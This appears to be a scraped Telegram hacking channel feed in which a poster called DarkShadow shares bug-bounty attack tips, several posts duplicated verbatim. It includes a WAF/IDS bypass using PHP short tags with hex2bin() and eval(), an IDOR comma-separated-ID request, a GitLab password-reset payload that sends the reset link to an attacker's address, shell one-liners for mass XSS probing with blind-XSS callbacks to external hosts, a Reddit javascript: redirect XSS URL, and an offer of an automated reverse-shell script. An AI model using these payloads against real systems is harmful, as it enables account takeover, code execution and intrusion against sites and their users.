Guys, I just bypassed a seriously tough WAF + IDS combo!
Let me give you a quick summary of the bypass journey:
While testing a WordPress setup, I noticed that it blocks any attempt to save PHP code using the standard <?php ?> tags — access denied right away.
So, I tried using the shorthand <?= ?>, and surprisingly… it got through!
However, the IDS was still smart enough to detect and block any dangerous functions — even if they were Base64 encoded.
I experimented with multiple obfuscation methods, but none of them worked… until I had a breakthrough!
👀The trick? I used hex2bin() in combination with eval() — and that finally bypassed both the WAF and IDS.💥
Want the payload/code? Let me know —
And don't forget to follow me 👉🏼 DarkShadow
#wafbypass
Let me give you a quick summary of the bypass journey:
While testing a WordPress setup, I noticed that it blocks any attempt to save PHP code using the standard <?php ?> tags — access denied right away.
So, I tried using the shorthand <?= ?>, and surprisingly… it got through!
However, the IDS was still smart enough to detect and block any dangerous functions — even if they were Base64 encoded.
I experimented with multiple obfuscation methods, but none of them worked… until I had a breakthrough!
👀The trick? I used hex2bin() in combination with eval() — and that finally bypassed both the WAF and IDS.💥
Want the payload/code? Let me know —
And don't forget to follow me 👉🏼 DarkShadow
#wafbypass
🫡35🔥8👍7❤4
Perfect for anyone involved in:
Brut SecurityTake advantage of this opportunity and explore ZoomEye’s premium features!
#BrutSecurity #ZoomEye
Please open Telegram to view this post
VIEW IN TELEGRAM
2❤14🔥4👍3
Hey, don’t forget to like and share! And if you give it a try, tell us — we’d love to know how you’re using it!
❤12👍7
💡 IDOR Bypass Bug Bounty Tip
Sometimes APIs behave unexpectedly when multiple IDs are passed together.
🔍 Scenario
• Victim’s ID: 5200
• Attacker’s ID: 5233
🚫 GET /api/users/5200/info → Access Denied
✅ GET /api/users/5200,5233/info → Bypass Successful
📌 Always test for comma-separated, array-style, or batch ID parameters when hunting for IDOR!
#bugbountytips #bugbounty #infosec #cybersecurity #api #IDOR #pentesting #bugbountyTips
Sometimes APIs behave unexpectedly when multiple IDs are passed together.
🔍 Scenario
• Victim’s ID: 5200
• Attacker’s ID: 5233
🚫 GET /api/users/5200/info → Access Denied
✅ GET /api/users/5200,5233/info → Bypass Successful
📌 Always test for comma-separated, array-style, or batch ID parameters when hunting for IDOR!
#bugbountytips #bugbounty #infosec #cybersecurity #api #IDOR #pentesting #bugbountyTips
🔥28👍12❤10👏2
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11❤5🔥1
Brut Security
Password Reset Bypass Trick 🌀 Some poorly secured endpoints accept multiple email parameters.😳 Try this: POST /passwordReset HTTP/1.1 Content-Type: application/x-www-form-urlencoded [email protected]&[email protected] Or in JSON: {…
Hey Hunters,
DarkShadow is back again with another POC that earned $35,000 🙌🏼
💥 GitLab Password Reset via Account Takeover Vulnerability 😬
This vulnerability was recently patched. It exploited the password reset functionality by abusing the JSON request sent from the client side. The request allowed multiple email addresses to be specified without properly verifying them, resulting in the password reset link being sent to both the victim's email and the attacker's email 🤯
✅ POC Request:
I was shared this same method a long time ago 😁
Don't forget to follow me 👉🏼 DarkShadow
DarkShadow is back again with another POC that earned $35,000 🙌🏼
💥 GitLab Password Reset via Account Takeover Vulnerability 😬
This vulnerability was recently patched. It exploited the password reset functionality by abusing the JSON request sent from the client side. The request allowed multiple email addresses to be specified without properly verifying them, resulting in the password reset link being sent to both the victim's email and the attacker's email 🤯
✅ POC Request:
"user": {
"email": [
"[email protected]",
"[email protected]"
]
}
I was shared this same method a long time ago 😁
Don't forget to follow me 👉🏼 DarkShadow
🗿16🔥11❤6👍6😱3
Hey Hunters,
DarkShadow here—back again with a quick drop!
If you're using revshells.com and you're tired of testing payloads one by one to get a reverse shell, check out this custom script I created. With just a single command, you can instantly get a reverse shell—no more manual payload hunting!
Let me know if you need👀
DarkShadow here—back again with a quick drop!
If you're using revshells.com and you're tired of testing payloads one by one to get a reverse shell, check out this custom script I created. With just a single command, you can instantly get a reverse shell—no more manual payload hunting!
Let me know if you need👀
🔥19👍7🐳2
More tools, tips, and hacking content coming your way!
Stay connected with us — the journey has just begun.
Don’t forget to like and share!
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍25❤11🔥4
Hey Hunter's,
DarkShadow here back again, dropping some one-liner killer XSS commands😉
Cleaned XSS Payload Hunting Commands:
1. Wayback + httpx + GF + Dalfox
2. Gospider + Dalfox
4. Gospider + Dalfox (Deep Crawl)
Required tools are:
If you find this helpful and want more cutting-edge tips and tricks, don’t forget to follow me 👉🏼 DarkShadow
#bugbountytips #xss
DarkShadow here back again, dropping some one-liner killer XSS commands😉
Cleaned XSS Payload Hunting Commands:
1. Wayback + httpx + GF + Dalfox
cat domains.txt | httpx -silent -ports 80,443,8080,8443,3000,8000 | waybackurls | grep "=" | uro | gf xss | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q "<script>alert(1)</script>" && echo "[XSS] $url"; done
2. Gospider + Dalfox
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -oP "https?://[^ ]+" | grep "=" | qsreplace -a | dalfox pipe3. Wayback + GF + Blind XSS via Dalfox
waybackurls target.com | gf xss | sed 's/=.*/=/' | sort -u | dalfox -b yoursubdomain.xss.ht pipe
4. Gospider + Dalfox (Deep Crawl)
gospider -S targets.txt -c 20 -d 3 --js --sitemap --robots | grep -oP "https?://[^\s']+" | grep "=" | uro | dalfox pipe -o gospider_xss.txt5. Dalfox Direct with Blind XSS
cat urls.txt | dalfox pipe -b yourdomain.xss
Required tools are:
httpx, waybackurls, uro, gf, qsreplace, curl, gospider, dalfox
If you find this helpful and want more cutting-edge tips and tricks, don’t forget to follow me 👉🏼 DarkShadow
#bugbountytips #xss
X (formerly Twitter)
DarkShadow (@darkshadow2bd) on X
Ethical Hacker | Penetration Tester | Security Researcher | Bug Hunter | Exploit Developer.
🔥~For more Join my New telegram Channel👉🏼 https://t.co/9p1yvzluA4 ✨
🔥~For more Join my New telegram Channel👉🏼 https://t.co/9p1yvzluA4 ✨
🔥13👍7👏5👨💻3
Good morning hacker's,
Let's start morning to hack Reddit account 😉
Let's start morning to hack Reddit account 😉
😁11🫡2
Hey Hunters,
DarkShadow here, back again dropping an old-school Reddit XSS PoC for you to check out!
Let’s break it down and understand the logic behind the vulnerability.
Vulnerable Parameter: ?dest=
What does the dest parameter do?
The dest parameter is commonly used in login flows to redirect users after successful authentication. For example:
A user tries to access a protected page.
Reddit redirects them to:
/login/?dest=/protected/resource
After login, the site redirects them to the original dest URL.
Sounds fine, right? But here’s the twist...
✅ PoC Steps (Super Simple):
Boom💥. That’s it.
Just throw that URL and watch the magic happen. No need for complex encoding or obfuscation — just a mindset shift.
keep your payloads sharp and your eyes sharper.
Don’t forget to react, share, and follow me in X
👉🏼 DarkShadow
#bugbountytips #xss
DarkShadow here, back again dropping an old-school Reddit XSS PoC for you to check out!
Let’s break it down and understand the logic behind the vulnerability.
Vulnerable Parameter: ?dest=
What does the dest parameter do?
The dest parameter is commonly used in login flows to redirect users after successful authentication. For example:
A user tries to access a protected page.
Reddit redirects them to:
/login/?dest=/protected/resource
After login, the site redirects them to the original dest URL.
Sounds fine, right? But here’s the twist...
✅ PoC Steps (Super Simple):
https://www.reddit.com/login/?dest=javascript:alert(document.domain)
Boom💥. That’s it.
Just throw that URL and watch the magic happen. No need for complex encoding or obfuscation — just a mindset shift.
keep your payloads sharp and your eyes sharper.
Don’t forget to react, share, and follow me in X
👉🏼 DarkShadow
#bugbountytips #xss
👏18👍10🔥7🗿4❤2
Who are you in the world of cybersecurity?
Anonymous Poll
42%
Beginner — currently learning cybersecurity 👀
25%
Bug bounty hunter — actually reporting vulnerabilities 🔥
7%
Red teamer — simulating real-world attacks to improve defenses 💥
15%
Professional Pentester – Working in a cybersecurity job role ✨
11%
Black hat hacker — unauthorized hacking ☠️
🔥11🐳8❤1👍1
Hey Hunter's,
DarkShadow here back again, dropping a killer trick 🌀
Before testing file upload vulnerability, test the filename parameter.
Don't forget to show your love, and follow me 👉🏼 DarkShadow
DarkShadow here back again, dropping a killer trick 🌀
Before testing file upload vulnerability, test the filename parameter.
Don't forget to show your love, and follow me 👉🏼 DarkShadow
🔥22👍7❤3👏3🐳1👨💻1🫡1
https://github.com/NazaninNazari/Origin_ReconPlease open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥10
Forwarded from Brut Security 2.0
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10